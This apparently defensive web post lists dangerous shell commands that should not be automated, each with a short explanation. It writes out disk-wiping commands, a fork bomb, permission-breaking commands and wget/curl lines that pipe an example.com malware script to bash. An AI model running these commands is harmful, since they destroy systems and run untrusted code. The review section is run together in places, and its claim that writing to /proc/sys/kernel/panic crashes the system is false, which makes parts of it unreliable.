Here is a list of code snippets you do not want automated:
/*
rm -rf /
:(){ :|:& };:
dd if=/dev/random of=/dev/sda
chmod -R 777 /
wget http://example.com/malware.sh -O- | bash
sudo rm -rf /*
mv [file] /dev/null
~/.bash_history
curl http://example.com/malware.sh | bash
find / -type f -exec rm -f {} ;
mkfs.ext4 /dev/sda
echo “malicious content” > /etc/passwd
kill -9 1
killall5
*/
Here’s a review of the provided snippets that should not be auto-run:
rm -rf /
: Recursively deletes all files and directories from the root directory.:(){ :|:& };:
: A fork bomb that can crash a system by creating an infinite number of processes.dd if=/dev/random of=/dev/sda
: Overwrites the entire disk with random data.chmod -R 777 /
: Changes permissions of all files and directories to be readable, writable, and executable by everyone.wget [malicious URL] -O- | bash
: Downloads and executes potentially malicious scripts.sudo rm -rf /*
: Attempts to delete all files and directories on the system with root privileges.mv ~/dev/null
: Likely a typo, but could potentially move important files to /dev/null, effectively deleting them.> ~/.bash_history
: Clears the bash history, potentially hiding malicious activities.curl [any URL] | bash
: Similar to the wget example, downloads and executes scripts from the internet.find / -type f -exec rm -f {} \;
: Finds and deletes all files on the system.mkfs.*
: Formats a file system, potentially destroying data.echo [malicious content]>/etc/pass...
: Attempts to overwrite system files, potentially compromising security.kill -9 1
: Terminates the init process, which can crash the system.killall5
: Sends a signal to all processes except kernel threads and the process group leader.shutdown
orreboot
: These commands can unexpectedly shut down or restart the system.passwd
: Changes user passwords, which should never be automated.fdisk
orparted
: Disk partitioning tools that can destroy data if misused.useradd
oruserdel
: Commands for adding or deleting users, which could compromise system security.iptables -F
: Flushes all firewall rules, potentially exposing the system to attacks.echo 1 > /proc/sys/kernel/panic
: Triggers a kernel panic, crashing the system.
